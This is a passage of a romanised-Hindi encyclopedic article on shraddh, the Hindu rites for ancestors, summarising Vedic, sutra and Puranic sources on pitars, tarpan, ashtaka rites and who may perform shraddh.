pitar log devoan se bhinn the. rrigved[66] ke 'panchajana mam hotran jushadhvamh' mean prayukt shabd 'panchajana:' evan any vachanoan ke arth ke adhar par aitarey brahman[67] ne vyakhya ki hai ve paanch kotiyaan haian, apsaraoan ke sath gandharv, pitri, dev, sarp evan rakshas. nirukt ne isaka kuchh aanshoan mean anusaran kiya hai[68] aur apani or se bhi vyakhya ki hai. atharvaved[69] mean dev, pitri evan manushy usi kram mean ullikhit haian. prachin vaidik uktiyaan evan vyavahar devoan tatha pitaroan mean spasht bhinnata prakat karate haian. taittiriy sanhita[70] mean aya hai–'devoan evan manushyoan ne dishaoan ko baant liya, devoan ne poorv liya, pitaroan ne dakshin, manushyoan ne pashchim evan rudroan ne uttar.' samany niyam yah hai ki devoan ke yajn madhyahn ke poorv mean arambh kiye jate haian aur pitriyajn aparanhn mean.[71] shatapath brahman[72] ne varnan kiya hai ki pitar log apane dahine kandhe par (aur bayean bahu ke niche) yajnopavit dharan karake prajapati ke yahaan pahuanche, tab prajapati ne unase kaha- 'tum logoan ko bhojan pratyek mas (ke ant) mean (amavasya ko) milega, tumhari svadha vichar ki te­zi hogi evan chandr tumhara prakash hoga.' devoan se usane kaha- 'yajn tumhara bhojan hoga evan soory tumhara prakash.' taittiriy brahman[73] ne lagata hai, un pitaroan mean jo devoan ke svabhav evan sthiti ke haian evan unamean, jo adhik ya kam manav ke saman haian, antar bataya hai.

dev-krity evan pitri krity

thumb|250px|pooja archana karate shraddhalu kaushikasutr[74] ne ek sthal par dev-krityoan evan pitri krityoan ki vidhi ke antar ko b de sundar dhang se diya hai. dev-krity karane vala yajnopavit ko bayean kandhe evan dahine hath ke niche rakhata hai evan pitri-krity karane vala dayean kandhe evan bayean hath ke niche rakhata hai. dev-krity poorv ki or ya uttar ki or mukh karake arambh kiya jata hai kintu pitri-yajn dakshinabhimukh hokar arambh kiya jata hai. dev-krity ka uttar-poorv (ya uttar ya poorv) mean ant kiya jata hai aur pitri-krity dakshin-pashchim mean samapt kiya jata hai. pitaroan ke lie ek krity ek hi bar kiya jata hai, kintu devoan ke lie kam se kam tin bar ya shastranukul kee bar kiya jata hai. pradakshina karane mean dakshin bhag devoan ki or kiya jata hai aur bayaan bhag pitaroan ke vishay mean kiya jata hai. devoan ko havi ya ahutiyaan dete samay 'svaha' evan 'vashath' shabd uchcharit hote haian, kintu pitaroan ke lie is vishay mean 'svadha' ya 'namaskar' shabd uchcharit kiya jata hai. pitaroan ke lie darbh j d se ukha dakar prayukt hote haian kintu devoan ke lie j d ke oopar katakar. baudhayan shrautasootr[75] ne ek sthal par inamean se kuchh ka varnan kiya hai.[76] svayan rrigved[77] ne devoan evan pitaroan ke lie aise shabdantar ko vyakt kiya hai. shatapathabrahman[78] ne devoan ko amar evan pitaroan ko mar kaha hai.

dev evan pitar ki prithakh kotiyaan

yadyapi dev evan pitar prithakh kotiyoan mean rakhe gaye haian, tathapi pitar log devoan ki kuchh visheshataoan ko apane mean rakhate haian. rrigved[79] ne kaha hai ki pitar som pite haian. rrigved[80] mean aisa kaha gaya hai ki pitaroan ne akash ko nakshatroan se sushobhit kiya (nakshatrebhi: pitaro dyamapianshanh) aur aandhakar ratri mean evan prakash din mean rakha. pitaroan ko gupt prakash prapt karane vale kaha gaya hai aur unhean 'usha' ko utpann karane vale dyotit kiya gaya hai.[81] yahaan pitaroan ko uchchatam devoan ki shaktiyoan se samanvit mana gaya hai. bhaanti-bhaanti ke varadanoan ki prapti ke lie pitaroan ko shraddhapoorvak bulaya gaya hai aur unaka anugrah kee prakar se prapy kaha gaya hai.[82] mean pitaroan se sumati evan saumanas (anugrah) prapt karane ki bat kahi gayi hai. unase kashtarahit anand dene[83] evan yajaman (yajnakarta) ko evan usake putr ko sampatti dene ke lie prarthana ki gayi hai.[84] rrigved[85] evan atharvaved[86] ne sampatti evan shoor putr dene ko kaha hai. atharvaved[87] ne kaha hai–'ve pitar jo vadhu ko dekhane ke lie ekatr hote haian, use santatiyukt anand dean.' vajasaneyi sanhita[88] mean prasiddh mantr yah hai–"he pitaro, (is patni ke) garbh mean (age chalakar) kamaloan ki mala pahanane vala bachcha rakho, jisase vah kumar (poorn vikasit) ho jae", jo is samay kaha jata hai, jab ki shraddhakarta ki patni tin pindoan mean bich ka pind kha leti hai.[89]

mool evan prakar

vaidik sahity ke uparant ki rachana mean, visheshat: puranoan mean pitaroan ke mool evan prakaroan ke vishay mean vishad varnan milata hai. udaharanarth, vayupuran[90] ne pitaroan ki tin kotiyaan bataee haian; kavy, barhishad evan agnishvatth. pun: vayu puran[91] ne tatha varah puran[92], padm puran[93] evan brahmand puran[94] ne sat prakar ke pitaroan ke mool par prakash dala hai, jo ki svarg mean rahate haian, jinamean char to moortimanh haian aur tin amoortimanh. shatatapasmriti[95] ne 12 pitaroan ke nam diye haian; pindabhaj:, lepabhaj:, nandimukha: evan ashrumukha:.

bhay-tattv

in shabdoan se yah nahian samajhana chahie ki pitaroan ke prati logoan mean bhay-tattv ka sarvatha abhav tha.[96] udaharanarth rrigved[97] mean aya hai–'(truti karane vale) manushy hone ke nate yadi ham ap ke prati koee aparadh karean to hamean usake lie dandit n karean.' rrigved[98] mean ham padhate haian–"ve dev evan prachin pitar, jo is sthal (gauoan ya marg) ko janate haian, hamean yahaan hani n pahuanchayean." rrigved[99] mean aisa aya hai ki–'vasishthoan ne devoan ki stuti karate hue pitaroan evan rrishiyoan ke sadrish vani (mantr) parimarjit ki ya gadhi." yahaan pitri evan rrishi do prithakh kotiyaan haian aur vasishthoan ki tulana donoan se ki gee hai.[100]

avahan

vaidik sahity ki bahut si uktiyoan mean pitar shabd vyakti ke samipavarti, mrit purush poorvajoan ke lie prayukt hua hai. at: tin pidhiyoan tak ve (poorvajoan ko) nam se vishisht roop se vyanjit karate haian, kyoanki aise bahut se pitar haian, jinhean ahuti di jati hai.'[101] shatapath brahman[102] ne pita, pitamah evan prapitamah ko purodash (roti) dete samay ke sooktoan ka ullekh kiya hai aur kaha hai ki karta in shabdoan ko kahata hai–"he pitar log, yahaan akar anand lo, bailoan ke saman apane-apane bhag par svayan ao'.[103] kuchh[104] ne yah sookt diya hai–"yah (bhat ka pind) tumhare liye aur unake liye hai jo tumhare pichhe ate haian." kintu shatapath brahman ne dridhatapoorvak kaha hai ki yah sookt nahian karana chahie, pratyut yah vidhi apanani chahie–"yahaan yah tumhare liye hai." shatapathabrahman[105] mean tin poorv purushoan ko svadhapremi kaha gaya hai. in vaidik uktiyoan evan manu[106] tatha vishnu puran[107] ki is vyavastha par ki nam evan gotr bolakar hi pitaroan ka avahan karana chahie, nirbhar rahate hue shraddhaprakash[108] ne yah nishkarsh nikala hai ki pita evan any poorvajoan ko hi shraddh ka devata kaha jata hai, n ki vasu, rudr evan adity ko, kyoanki inake gotr nahian hote aur pita adi vasu, rudr evan adity ke roop mean kaval dhyan ke lie varnit haian. shraddhaprakash[109] brahm puran ne is kathan, jo yah vyavastha deta hai ki karta ko brahmanoan se yah kahana chahie ki maian krityoan ke lie pitaroan ko bulaooanga aur jab brahman aisi anumati de dete haian, to use vaisa karana chahie, (arthath pitaroan ka ahavan karana chahie), yah nirdesh deta hai ki yahaan par pitaroan ka tatpary hai devoan se, arthath vasuoan, rudroan evan adityoan se tatha manavoan se, yatha–karta ke pita evan anyoan se. vayu puran[110], brahmand puran evan anushasan parv ne uparyukt pitaroan evan laukik pitaroan (pita, pitamah evan prapitamah) mean andar darshaya haian.[111]

taparn

thumb|250px|pooja archana karate shraddhalu

mukhy lekh : tarpan (shraddh)

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avahan, poojan, namaskar ke uparant tarpan kiya jata hai. jal mean doodh, jau, chaval, chandan dal kar tarpan kary mean prayukt karate haian. mil sake, to ganga jal bhi dal dena chahie. tripti ke lie tarpan kiya jata hai. svagarsth atmaoan ki tripti kisi padarth se, khane-pahanane adi ki vastu se nahian hoti, kyoanki sthool sharir ke lie hi bhautik upakaranoan ki avashyakata p dati hai. marane ke bad sthool sharir samapt hokar, keval sookshm sharir hi rah jata hai. sookshm sharir ko bhookh-pyas, sardi-garmi adi ki avashyakata nahian rahati, usaki tripti ka vishay koee, khady padarth ya ha d-maans vale sharir ke lie upayukt upakaran nahian ho sakate. sookshm sharir mean vicharana, chetana aur bhavana ki pradhanata rahati hai, isalie usamean utkrisht bhavanaoan se bana antahkaran ya vatavaran hi shantidayak hota hai.

shraddh ki mahatta

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sootrakal (lagabhag ee. poo. 600) se lekar madhyakal ke dharmashastrakaroan tak sabhi logoan ne shraddh ki mahatta evan usase utpann kalyan ki prashansa ke pul baandh diye haian. apastamb dharmasootr[112] ne adholikhit soochana di hai- 'purane kal mean manushy evan dev isi lok mean rahate the. dev log yajnoan ke karan (puraskarasvaroop) svarg chale gaye, kintu manushy yahian par rah gaye. jo manushy devoan ke saman yajn karate haian ve paralok (svarg) mean devoan evan brahma ke sath nivas karate haian. tab (manushyoan ko pichhe rahate dekhakar) manu ne us krity ko arambh kiya jise shraddh ki sanjna mili hai, jo manav jati ko shrey (mukti ya anand) ki or le jata hai. is krity mean pitar log devata (adhishthata) haian, kintu brahman log (jinhean bhojan diya jata hai) ahavaniy agni (jisamean yajnoan ke samay ahutiyaan di jati haian) ke sthan par mane jate haian."

shraddh ki prashastiyaan

shraddh ki prashastiyoan ke kuchh udaharan yahaan diye ja rahe haian. baudhayan dharmasootr[113] ka kathan hai ki pitaroan ke krityoan se dirgh ayu, svarg, yash evan pushtikarm (samriddhi) ki prapti hoti hai. harivansh puran[114] mean aya hai–shraddh se yah lok pratishthit hai aur isase yog (moksh) ka uday hota hai. sumantu[115] ka kathan hai–shraddh se badhakar shreyaskar kuchh nahian hai.[116] vayupuran[117] ka kathan hai ki yadi koee shraddhapoorvak shraddh karata hai to vah brahma, indr, rudr evan any devoan, rrishiyoan, pakshiyoan, manavoan, pashuoan, reangane vale jivoan evan pitaroan ke samuday tatha un sabhi ko jo jiv kahe jate haian, evan sampoorn vishv ko prasann karata hai. yam ne kaha hai ki pitripoojan se ayu, putr, yash, kirti, pushti (samriddhi), bal, shri, pashu, saukhy, dhan, dhany ki prapti hoti hai.[118] shraddhasar[119] evan shraddhaprakash[120] dvara udadhrit vishnudharmottarapuran mean aisa kaha gaya hai ki prapitamah ko diya gaya pind svayan vasudev ghoshit hai, pitamah ko diya gaya pind sankarshan tatha pita ko diya gaya pind pradyumn ghoshit hai aur pindakarta svayan aniruddh kahalata hai. shantiparv[121] mean kaha gaya hai ki vishnu ko tinoan pindoan mean avasthit samajhana chahie. koorm puran mean aya hai ki "amavasya ke din pitar log vayavy roop dharan kar apane purane nivas ke dvar par ate haian aur dekhate haian ki unake kul ke logoan ke dvara shraddh kiya jata hai ki nahian. aisa ve sooryast tak dekhate haian. jab sooryast ho jata hai, ve bhookh evan pyas se vyakul ho nirash ho jate haian, chintit ho jate haian, bahut der tak dirgh shvas chho date haian aur ant mean apane vanshajoan ko kosate (unaki bhartsana karate hue) chale jate haian. jo log amavasya ko jal ya shak-bhaji se bhi shraddh nahian karate unake pitar unhean abhishapit kar chale jate haian."

shraddh evan shraddha mean ghanishth sambandh

'shraddh' shabd ki vyutpatti par bhi kuchh likh dena avashyak hai. yah spasht hai ki yah shabd "shraddha" se bana hai. brahmapuran (uparyukt uddhrit), marichi evan brihaspati ki paribhashaoan se yah spasht hai ki shraddh evan shraddha mean ghanishth sambandh hai. shraddh mean shraddhakarta ka yah atal vishvas rahata hai ki mrit ya pitaroan ke kalyan ke lie brahmanoan ko jo kuchh bhi diya jata hai vah use ya unhean kisi prakar avashy hi milata hai. skand puran[122] ka kathan hai ki 'shraddh' nam isalie p da hai ki us krity mean shraddha mool (mool srot) hai. isaka tatpary yah hai ki isamean n keval vishvas hai, pratyut ek atal dharana hai ki vyakti ko yah karana hi hai. rrigved[123] mean shraddha ko devatv diya gaya hai aur vah devata ke saman hi sambodhit haian.[124] kuchh sthaloan par shraddha shabd ke do bhag (shrath evan dha) bina kisi arth parivartan ke prithakh-prithakh rakhe gaye haian.[125] taittiriy sanhita[126] mean aya hai–"brihaspati ne ichchha prakat ki; dev mujhamean vishvas (shraddha) rakhean, maian unake purohit ka pad prapt karooan."[127] nirukt[128] mean 'shrath' evan 'shraddha' ka 'saty' ke arth mean vyakt kiya gaya hai. vaj. san.[129] mean kaha gaya hai ki prajapati ne 'shraddha' ko saty mean aur 'ashraddha' ko jhooth mean rakh diya hai, aur vaj. san.[130] mean kaha gaya hai ki saty ki prapti shraddha se hoti hai. vaidikottarakalin sahity mean panini[131] ne 'shraddhinh' evan 'shraddhik' ko 'vah jisane shraddh bhojan kar liya ho' ke arth mean nishchit kiya gaya hai. 'shraddh' shabd 'shraddha' se nikala ja sakata hai.[132] yogasootr[133] ke bhashy mean 'shraddha' shabd kee prakar se paribhashit hai-'shraddha chettas: sanprasad:. sa hi jananiv kalyani yoginan pati', arthath shraddha ko man ka prasad ya akshobh (sthairy) kaha gaya hai. deval ne shraddha ki paribhasha yoan ki hai-'pratyayo dharmakaryeshu tatha shraddhetyudahrata. nasti hyashraddhadhanasy dharmakritye prayojanamh..'[134] arthath dharmik krityoan mean jo pratyay (ya vishvas) hota hai, vahi shraddha hai, jise pratyay nahian hai, use dharmik karm karane ka prayojan nahian hai. katyayan ke shraddhasootr[135] mean vyavastha hai- 'shraddhayukt vyakti shak se bhi shraddh kare (bhale hi usake pas any bhojy padarth n hoan).' manu[136] jahaan par pitaroan ki santushti ke lie shraddh par bal diya gaya hai. markandey puran[137] mean shraddh ka sambandh shraddha se ghoshit kiya gaya hai aur kaha gaya hai ki shraddh mean jo kuchh bhi diya jata hai, vah pitaroan ke dvara prayukt hone vale us bhojan mean parivartit ho jata hai, jise ve karm evan punarjanm ke siddhant ke anusar naye sharir ke roop mean pate haian. is puran mean yah bhi aya hai ki anuchit evan anyayapoorn dhang se prapt dhan se jo shraddh kiya jata hai, vah chandal, pukkas tatha any nich yoniyoan mean utpann logoan ki santushti ka sadhan hota hai.[138]

yajn

mukhy lekh : yajn

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hindoo dharm-granthoan ke anusar pratyek grihasth hindoo ko paanch yajnoan ko avashy karana chahie-

  1. brahm-yajn - pratidin adhyayan aur adhyapan karana hi brahm-yajn hai.
  2. dev-yajn - devataoan ki prasannata hetu poojan-havan adi karana.
  3. pitri-yajn - 'shraddh' aur 'tarpan' karana hi pitri-yajn hai.
  4. bhoot-yajn - 'bali' aur 'vaishv dev' ki prasannata hetu jo pooja ki jati hai, use 'bhoot-yajn' kahate haian.
  5. manushy-yajn - isake antargat 'atithi-satkar' ata hai.

ukt paanchoan yajnoan ko nity karane ka nirdesh hai.

shraddh ki ahuti

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ahutiyoan ke vishay mean bhi mat matantar haian. kathak grihyasootr[139], jaiminiy grihyasootr[140] evan shaankhayan grihyasootr[141] ne kaha hai ki tin vibhinn ashtakaoan mean siddh (pake hue) shak, maans evan apoop (pooa ya roti) ki ahutiyaan di jati haian. kintu par. grihyasootr[142] evan khadiragrihyasootr[143] ne pratham ashtaka ke lie apoopoan (poooan) ki[144] evan antim ke lie siddh shakoan ki vyavastha di hai. khadiragrihyasootr[145] se gay ki bali hoti haian ashvalayan grihyasootr[146], gobhilagrihyasootr[147], kaushik[148] evan baudhayan grihyasootr[149] ke mat se isake kee vikalp bhi haian–gay ya bhean d ya bakare ki bali dena; sulabh jangali maans ya mudh-til yukt maans ya geanda, hiran, bhaiansa, sooar, shashak, chitti vale hiran, rohit hiran, kabootar ya titar, sarang evan any pakshiyoan ka maans ya kisi boodhe lal bakare ka maans; machhaliyaan; doogh mean paka hua chaval (lapasi ke saman), ya bina pake hue ann ya phal ya mool, ya sona bhi diya ja sakata hai, athava gayoan ya saan doan ke lie keval ghas khilayi ja sakati hai. ya vedajn ko pani rakhane ke lie gh de diye ja sakate haian, ya 'yah maian ashtaka ka sampadan karata hooan' aisa kahakar shraddhasambandhi mantroan ka uchcharan kiya ja sakata hai.

mrit poorvajoan ke krity

ati prachin kal mean mrit poorvajoan ke lie keval tin krity kiye jate the:-

  1. pindapitriyajn (unake dvara kiya gaya jo shrautagniyoan mean yajn karate the) ya masik shraddh (unake dvara jo shrautagniyoan mean yajn nahian karate the)[150],
  2. mahapitriyajn evan
  3. ashtakashraddh.

pratham do ka varnan is granth ke khand 2, adhyay 30 evan 31 mean ho chuka hai. ashtaka shraddhoan ke vishay mean abhi tak kuchh nahian bataya gaya hai. inaka vishisht mahattv hai, kintu inake sampadan ke dinoan evan masoan, adhishthata devoan, ahutiyoan evan vidhi ke vishay mean lekhakoan mean mataiky nahian hai.

gautam[151] ne ashtaka ko sat pakayajnoan evan chalis sanskaroan mean pariganit kiya hai. lagata hai, 'ashtaka' poornima ke pashchath kisi mas ki ashtami tithi ka dyotak hai.[152] shatapath brahman[153] mean aya hai–'poornima ke pashchath athavean din vah (agnichayanakarta) agni-sthan (chulli ya chulli, choolhi ya choolhe) ke lie samagri ekatr karata hai, kyoanki prajapati ke lie (poornima ke pashchath) ashtami pavitr hai aur prajapati ke lie yah krity pavitr hai.' jaiminiy[154] ke bhashy mean shabar ne atharvaved[155] evan apastamb mantr path [156] mean aye hue mantr ko ashtaka ka dyotak mana hai. mantr yah hai–'vah (ashtaka) ratri hamare lie mangalakari ho, jisaka log kisi ki or ati huee gau ke saman svagat karate haian, aur jo varsh ki patni hai.'[157] atharvaved[158] mean sanvatsar ko ekashtaka ka pati kaha gaya hai. taittiriy sanhita[159] mean aya hai ki 'jo log sanvatsar satr ke lie diksha lene vale haian unhean ekashtaka ke din diksha leni chahie, jo ekashtaka kahalati hai. vah varsh ki patni hai.' jaiminiy[160] ne ekashtaka ko magh ki poornima ke pashchath ki ashtami kaha hai. apastamb grihyasootr[161] ne bhi yahi kaha hai. kintu itana jo d diya hai ki us tithi (ashtami) mean chandr jyeshtha nakshatr mean hota hai.[162] isaki arth yah hua ki yadi ashtami do dinoan ki ho gayi to vah din jab chandr jyeshtha mean hai, ekashtaka kahalayega. hiranyakeshi grihyasootr[163] ne bhi ekashtaka ko varsh ki patni kaha hai.'[164]

ashtaka krity

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ashvalayan grihyasootr[165] ke mat se ashtaka ke din (arthath krity) char the, hemant evan shishir (arthath margashirsh, paush, magh evan phalgun) ki do rrituoan ke char masoan ke krishna pakshoan ki athavian tithiyaan. adhikaansh mean sabhi grihyasootr, yatha–manavagrihyasutr[166], shaankhayan grihyasootr[167], khadiragrihyasootr[168], kathakagrihyasootr[169], kaushitaki grihyasootr[170] evan par. grihyasootr[171] kahate haian ki keval tin hi ashtaka krity hote haian; margashirsh (agrahayan) ki poornima ke pashchath athavian tithi (ise agrahayani kaha jata tha); arthath margashirsh, paush (taish) evan magh ke krishna pakshoan mean. gobhilagrihyasootr[172] ne likha hai ki kauts ke mat se ashtakaean char haian aur sabhi mean mas diya jata hai, kintu gautam, audagahamani evan varkakhandi ne keval tin ki vyavastha di hai. baudhayan grihyasootr[173] ke mat se taish, magh evan phalgun mean tin ashtakahom kiye jate haian.

anvashtaka krity

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yadyapi apastambagrihyasootr[174] evan shaankhayan grihyasootr[175] ka kathan hai ki anvashtaka krity mean pindapitriyajn ki vidhi mani jati hai, kintu kuchh grihyasootr[176] is krity ka vishad varnan karate haian. ashvalayan grihyasootr evan vishnu dharmasootr[177] ne madhyam marg apanaya hai. ashvalayan grihyasootr ka varnan apekshakrit sankshipt hai. yah jnatavy hai ki kuchh grihyasootroan ka kathan hai ki anvashtaka krity krishna paksh ki navami ya dashami ko kiya jata hai.[178] ise paraskar grihyasootr[179], manu[180] evan vishnu dharmasootr[181] ne anvashtaka ki sanjna di hai. atyant vishisht bat yah hai ki is krity mean stri pitaroan ka ahavan kiya jata hai aur isamean jo ahutiyaan di jati haian, unamean sura, maan d, aanjan, lep evan malaean bhi sammilit rahati haian. yadyapi ashvalayan grihyasootr[182] adi ne ghoshit kiya hai ki ashtaka evan anvashtaky masik shraddh ya pindapitriyajn par adharit haian tathapi baudhayan grihyasootr[183], gobhilagrihyasootr[184] evan khadir grihyasootr[185] ne kaha hai ki ashtaka ya anvashtaky ke adhar par hi pindapitriyajn evan any shraddh kiye jate haian. kathak grihyasootr[186] ka kathan hai ki pratham shraddh, sapindikaran jaise any shraddh, pashushraddh (jisamean pashu ka maans arpit kiya jata hai) evan masik shraddh ashtaka ki vidhi ka hi anusaran karate haian.

madhyavarsh krity

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ashvalayan grihyasootr[187] mean madhyavarsh namak krity ke vishay mean do mat prakashit kiye gaye haian. narayan ke mat se yah krity bhadrapad krishna paksh ki tin tithiyoan mean, arthath saptami, ashtami evan navami ko kiya jata hai. doosara mat yah hai ki yah krity ashtakaoan ke saman hi hai jo bhadrapad ki trayodashi ko sampadit hota hai. jabaki samanyat: chandr magha nakshatr mean hota hai. is krity ke nam mean sandeh hai, kyoanki pandulipiyoan mean bahut se roop prastut kiye gaye haian.

anvahary shraddh

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  • gobhilagrihyasootr[188] mean anvahary namak ek any shraddh ka ullekh hua hai jo ki pindapitriyajn uparant usi din sampadit hota hai.
  • shaankhayan grihyasootr[189] ne pindapitriyajn se prithakh masik shraddh ki charcha ki hai.
  • manu[190] ka kathan hai–'pitriyajn (arthath pindapitriyajn) ke sampadan ke uparant vah brahman jo agnihotri arthath ahitagni hai, prati mas use amavasya ke din pindanvaharyak shraddh karana chahie.

vishad varnan

shraddh sanbandhi sahity vishal hai. vaidik sanhitaoan se lekar adhunik tikaoan evan nibandhoan tak mean shraddh ke vishay mean vishad varnan prapt hota hai. puranoan mean shraddh ke vishay mean sahasroan shlok haian. vaidik sanhitaoan evan brahman granthoan, grihyasootroan evan dharmasootroan se lekar arambhik smritigranthoan yatha manu evan yajnavalky ki smritiyoan tak, tadanantar pratinidhi puran evan medhatithi, vijnaneshvar tatha aparark ki tikaoan dvara upasthit vivechanoan se lekar madhyakalik nibandhoan tak ka varnan hai. pauranik kal mean katipay shakhaoan ki or sanket milate haian.[191] smritiyoan evan mahabharat[192] ke vachanoan tatha sootroan, manu, yajnavalky evan any smritiyoan ki tikaoan ke atirikt shraddh sambandhi nibandhoan ki sankhya apar hai. is vishay mean keval nimnalikhit nibandhoan ki (kal ke anusar vyavasthit) charcha hogi–shraddhakalpataru, aniruddh ki haralata evan pitridayita, smrityarthasar, smritichandrika, chaturvargachintamani (shraddh prakaran), hemadri[193], rudradhar ka shraddhavivek, madanaparijat, shraddhasar (nrisianhaprasad ka ek bhag), govindanand ki shraddhakriyakaumudi, raghunandan ka shraddhatatv, shraddhasaukhy[194], vinayak urph nand pandit ki shraddhakalpalata, nirnayasindhu, nilakanth ka shraddhamayookh, shraddhaprakash (viramitroday ka ek bhag), divakar bhatt ki shraddhachandrika, smritimuktaphal (shraddh par), dharmasindhu evan mitakshara ki tika–balabhatti. shraddhasambandhi vishad varnan upasthit karate samay, kahian-kahian avashyakatanusar samany vichar bhi upasthit kiye jayeange.

shraddh karane ki yogyata

[[chitr:Upanayana-1.jpg|thumb|250px|upanayan
Upanayana]] yah jnatavy hai ki kuchh dharmashastr granthoan (yatha–vishnudharmottar) ne vyavastha di hai ki jo koee mritak ki sampatti le leta hai, use usake lie shraddh karana chahie, aur kuchh ne aisa kaha hai ki jo bhi koee shraddh karane ki yogyata rakhata hai athava shraddh ka adhikari hai, vah mritak ki sampatti grahan kar sakata hai. shantiparv[195] mean varnan aya hai ki indr ne samrat mandhata se kaha ki kis prakar yavan, kirat adi anaryoan (jinhean mahabharat mean dasyu kaha gaya hai) ko acharan karana chahie aur yah bhi kaha gaya hai ki sabhi dasyu pitriyajn (jisase unhean apani jati valoan ko dhan dena chahie) kar sakate haian aur brahmanoan ko dhan bhi de sakate haian.[196] vayu puran[197] ne bhi mlechchhoan ko pitaroan ke lie shraddh karate hue varnit kiya hai. gobhilasmriti[198] ne ek samany niyam diya hai ki putrahin patni ko (marane par) pati dvara pind nahian diya jana chahie, pita dvara putr ko tatha b de bhaee ke dvara chhote bhaee ko bhi pind nahian diya jana chahie nimi ne apane mrit putr ka shraddh kiya tha, kintu unhoanne age chalakar pashchatap kiya, kyoanki vah kary dharmasankat tha. yah bat bhi gobhilasmriti ke saman hi hai.[199] aparark[200] ne shatatrishanmat ka ek shlok uddhrit kar kaha hai ki pita ko putr ka evan b de bhaee ko chhote bhaee ka shraddh nahian karana chahie. kintu brihatparashar[201] ne kaha hai ki kabhi-kabhi yah samany niyam bhi nahian mana ja sakata. baudhayan evan vriddhashatatap[202] ne kisi ko snehavash kisi ke lie bhi shraddh karane ki, visheshat: gaya, mean anumati di hai. aisa kaha gaya hai ki keval vahi putr kahalane yogy hai, jo pita ki jivitavastha mean usake vachanoan ka palan karata hai, prati varsh (pita ki mrityu ke uparant) paryapt bhojan, (brahmanoan) ko deta hai aur jo gaya mean (poorvajoan) ko pind deta hai.[203] ek samany niyam yah tha ki upanayanavihin bachcha shoodr ke saman hai aur vah vaidik mantroan ka uchcharan nahian kar sakata.[204] kintu isaka ek apavad svikrit tha, upanayanavihin putr antyeshti karm se sambandhit vaidik mantroan ka uchcharan kar sakata hai. medhatithi[205] ne vyakhya ki hai ki alpavayask putr bhi, yadyapi abhi vah upanayanavihin hone ke karan vedadhyayanarahit hai, apane pita ko jal tarpan kar sakata hai, navashraddh kar sakata hai aur 'shundhantaan pitar:' jaise mantroan ka uchcharan kar sakata hai, kintu shrautagniyoan ya grihyagniyoan ke abhav mean vah parvan jaise shraddh nahian kar sakata. smrityarthasar[206] ne likha hai ki anupanit (jinaka abhi upanayan sanskar nahian hua hai) bachchoan, striyoan tatha shoodroan ko purohit dvara shraddhakarm karana chahie ya ve svayan bhi bina mantroan ke shraddh kar sakate haian kintu ve keval mrit ke nam evan gotr ya do mantroan, yatha–'devebhyo nam:' evan 'pitribhy: svadha nam:' ka uchcharan kar sakate haian. uparyukt vivechan spasht karata hai ki purushoan, striyoan evan upanit tatha anupanit bachchoan ko shraddh karana p data hai.

prapautr ko shraddh karane ka adhikar

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taittiriy sanhita[207] evan taittiriy brahman[208] se prakat hota hai ki pita, pitamah evan prapitamah tin sv-sambandhi poorvapurushoan ka shraddh kiya jata hai. baudhayan dharmasootr[209] ka kathan hai ki sat prakar ke vyakti ek-doosare se ati sambandhit haian, aur ve avibhaktaday sapind kahe jate haian–prapitamah, pita, svayan vyakti (jo apane se poorv se tin ko pind deta hai), usake sahodar bhaee, usaka putr (usi ki jati vali patni se utpann) pautr evan prapautr. sakuly ve haian jo vibhaktadayad haian, mrit ki sampatti use milati hai jo mrit ke sharir se utpann hua hai.[210] manu[211] ne likha hai–putr ke janm se vyakti lokoan (svarg) adi ki prapti karata hai, pautr se amarata prapt karata hai aur prapautr se vah sooryalok pahuanch jata hai. isase prakat hota hai ki vyakti ke tin vanshaj saman roop se vyakti ko adhyatmik labh pahuanchate haian.

ahvik yajn

shatapath brahman evan taittiriy aranyak[212] ne age kaha hai ki vah ahvik yajn jisamean pitaroan ko svadha (bhojan) evan jal diya jata hai, pitriyajn kahalata hai. manu[213] ne pitriyajn ko tarpan (jal se poorvajoan ki santushti) karana kaha hai. manu[214] ne vyavastha di hai ki pratyek grihasth ko pratidin bhojan ya jal ya doodh, mool evan phal ke sath shraddh karana chahie aur pitaroan ko santosh dena chahie. prarambhik roop mean shraddh pitaroan ke lie amavasya ke din kiya jata tha.[215] amavasya do prakar ki hoti hai; vinovali evan kuhoo. ahitagni (agnihotri) sinivali mean shraddh karate haian, tatha inase bhinn evan shoodr log kuhoo amavasya mean shraddh karate haian.

tin kotiyaan

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shraddh (ya sabhi krity) tin kotiyoan mean vibhajit kiye gaye haian; nity, naimittik evan kamy.

  • vah shraddh nity kahalata hai, jisake lie aisi vyavastha di huee ho ki vah kisi nishchit avasar par kiya jae (yatha–ahvik, amavasya ke din vala ya ashtaka ke din vala).
  • jo aise avasar par kiya jae jo ki anishchit sa ho, yatha–putrotpatti adi par, use naimittik kaha jata hai.
  • jo kisi vishisht phal ke lie kiya jae use kamy kahate haian; yatha–svarg, santati adi ki prapti ke lie. krittika ya rohini par kiya gaya shraddh.

panchamahayajn krity, jinamean pitriyajn bhi sammilit hai, nity kahe jate haian, arthath unhean bina kisi phal ki asha ke karana chahie, unake n karane se pap lagata hai. nity karmoan ko karane se prapt phal ki jo charcha dharmashastroan mean milati hai, vah keval prashansa matr hi hai. usase keval yahi vyakt hota hai ki karmoan ke sampadan se vyakti pavitr ho jata hai. kintu aisa nahian hai ki ve aparihary nahian hai aur unaka sampadan tabhi hota hai, jab vyakti kisi vishisht phal ki asha rakhata hai (arthath in karmoan ka sampadan kamy athava ichchhajanit nahian hai). apastamb dharmasootr[216] ne shraddh ke lie nishchit kaloan ki vyavastha di hai, yatha–isaka sampadan pratyek mas ke antim paksh mean hona chahie, dopahar ko shreshthata milani chahie aur paksh ke arambhik dinoan ki apeksha antim dinoan ko adhik mahattv dena chahie. gautam[217] evan vasishth[218] ka kathan hai ki shraddh pratyek mas ke krishna paksh mean chaturthi ko chho dakar kisi bhi din kiya ja sakata hai aur gautam[219] ne pun: kaha hai ki yadi vishisht roop mean uchit samagriyoan ya pavitr brahman upalabdh ho ya karta kisi pavitr sthan (yatha–gaya) mean ho to shraddh kisi bhi din kiya ja sakata hai. yahi bat koorm puran[220] ne bhi kahi hai. agni puran[221] ka kathan hai ki gaya mean kisi bhi din shraddh kiya ja sakata hai. [222]

shraddhoan ki phalasoochiyaan

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sankranti par kiya gaya shraddh anant kal tak ke lie sthayi hota hai, isi prakar janm ke din evan katipay nakshatroan mean shraddh karana chahie. apastamb dharmasootr[223], anushasan parv[224], vayu puran[225], yajnavalky[226], brahm puran[227], vishnu dharmasootr[228], koorm puran[229], brahmand puran[230] ne krishna paksh ki pratipada tithi se amavasya tak kiye gaye shraddhoan ke phaloan ka ullekh kiya hai.

varnit dinoan mean hone vale shraddh

